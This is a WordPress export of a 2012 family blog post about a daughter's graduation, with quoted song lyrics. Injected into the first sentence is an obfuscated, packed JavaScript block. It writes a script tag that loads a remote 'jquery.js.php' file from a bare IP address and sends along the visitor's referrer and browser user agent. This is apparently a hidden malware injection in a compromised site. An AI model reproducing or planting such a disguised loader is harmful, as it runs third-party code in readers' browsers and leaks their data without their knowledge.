{"id":3130,"date":"2012-06-10T10:38:20","date_gmt":"2012-06-10T17:38:20","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3130"},"modified":"2012-06-15T07:11:52","modified_gmt":"2012-06-15T14:11:52","slug":"measure-in-love","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3130","title":{"rendered":"Measure in Love"},"content":{"rendered":"<p><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/8cSMuCUev60\" frameborder=\"0\" width=\"560\" height=\"315\"><\/iframe><\/p>\n<p>Emily <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inyif|var|u0026u|referrer|yetkz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> is now officially a high school student!\u00c2\u00a0 Myndi and Vann and Danette and I all sat together at the ceremony, which was nice &#8211; we all congratulated each other and I could see my relief and joy mirrored on their faces. \u00c2\u00a0 I got giant leaping hugs from the girls, but when I tried to take photos, I realized I was getting in the way of some important agendas:\u00c2\u00a0 Angie was busy flirting, and Emily was busy looking for trouble.\u00c2\u00a0 Poor things; it&#8217;s dreadfully awkward trying to flirt while parents take photos, and it&#8217;s practically impossible to get into trouble by roaming totally empty hallways on the last day of school.\u00c2\u00a0 But they both did their very best, lord love &#8217;em.<\/p>\n<p>On my my way out I stood in the parking lot and watched the 6th and 7th graders having their field day, and just leaned my head against the fence and cried.\u00c2\u00a0 I am &#8212; still &#8212; so proud, and so relieved, and so worried, and so happy, and so jealous, and so grateful.\u00c2\u00a0 When I think about everything we&#8217;ve all been through together over the last few years, it takes my breath away.<\/p>\n<p>I am totally dissatisfied with this little movie, by the way.\u00c2\u00a0 The best film clips I had (Emily walking across the stage and cleaning out her locker) won&#8217;t come off my phone.\u00c2\u00a0 I have vowed never again to take phone-movies:\u00c2\u00a0 phones are phones and cameras are cameras and that is that.\u00c2\u00a0\u00c2\u00a0 And Angie sang &#8220;So Small&#8221; during the ceremony and honestly I think her version was a <em>million<\/em> times prettier than the Carrie Underwood recording.\u00c2\u00a0 But alas, phones also don&#8217;t do a great job with audio tracks.\u00c2\u00a0 I&#8217;m hoping some time this summer she&#8217;ll sing it again for us and Paul can record it properly.<\/p>\n<p>Emily and Angie in the fountain, in the backseat, in boxes; Emily all goth-eyed, Angie in bows and ribbons; dress-up games and sleeping til noon; the braces, the bandaids, the <em>boys<\/em>&#8230; &#8230;and the <em>girls<\/em>!\u00c2\u00a0 Oh, the friendships!\u00c2\u00a0 Oh, the fights!\u00c2\u00a0 Girls this age love each other with a ferocity much more powerful than all the little stings and slights of adolescence combined.<\/p>\n<h5><span style=\"color: #008080;\">Five hundred twenty-five thousand<\/span><br \/>\n<span style=\"color: #008080;\"> Six hundred minutes,<\/span><br \/>\n<span style=\"color: #008080;\"> Five hundred twenty-five thousand<\/span><br \/>\n<span style=\"color: #008080;\"> Moments so dear.<\/span><br \/>\n<span style=\"color: #008080;\"> Five hundred twenty-five thousand<\/span><br \/>\n<span style=\"color: #008080;\"> Six hundred minutes<\/span><br \/>\n<span style=\"color: #008080;\"> How do you measure, measure a year?<\/span><\/h5>\n<p><span style=\"color: #008080;\"> In daylights, in sunsets, in midnights<\/span><br \/>\n<span style=\"color: #008080;\"> In cups of coffee<\/span><br \/>\n<span style=\"color: #008080;\"> In inches, in miles, in laughter, in strife.<\/span><\/p>\n<p><span style=\"color: #008080;\"> In five hundred twenty-five thousand<\/span><br \/>\n<span style=\"color: #008080;\"> Six hundred minutes<\/span><br \/>\n<span style=\"color: #008080;\"> How do you measure<\/span><br \/>\n<span style=\"color: #008080;\"> A year in the life?<\/span><\/p>\n<p><span style=\"color: #008080;\"> How about love?<\/span><br \/>\n<span style=\"color: #008080;\"> Measure in love.<\/span><\/p>\n<h5><span style=\"color: #008080;\">_____________<\/span><\/h5>\n<p><span style=\"color: #008080;\">It&#8217;s so easy to get lost inside<\/span><br \/>\n<span style=\"color: #008080;\">a problem that seems so big at the time.<\/span><br \/>\n<span style=\"color: #008080;\"> It&#8217;s like a river that&#8217;s so wide<\/span><br \/>\n<span style=\"color: #008080;\"> it swallows you whole.<\/span><br \/>\n<span style=\"color: #008080;\"> While you siting &#8217;round thinking &#8217;bout what you can&#8217;t change<\/span><br \/>\n<span style=\"color: #008080;\"> and worrying about all the wrong things<\/span><br \/>\n<span style=\"color: #008080;\"> time&#8217;s flying by<\/span><br \/>\n<span style=\"color: #008080;\"> moving so fast &#8212;<\/span><br \/>\n<span style=\"color: #008080;\"> you better make it count &#8217;cause you can&#8217;t get it back.<\/span><\/p>\n<p><span style=\"color: #008080;\"> Sometimes that mountain you&#8217;ve been climbing<\/span><br \/>\n<span style=\"color: #008080;\"> is just a grain of sand<\/span><br \/>\n<span style=\"color: #008080;\"> and what you&#8217;ve been up there searching for forever <\/span><br \/>\n<span style=\"color: #008080;\"> is in your hands.<\/span><br \/>\n<span style=\"color: #008080;\"> Oh when you figure out love is all that matters after all<\/span><br \/>\n<span style=\"color: #008080;\"> it sure makes everything else seem so small.<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Emily is now officially a high school student!\u00c2\u00a0 Myndi and Vann and Danette and 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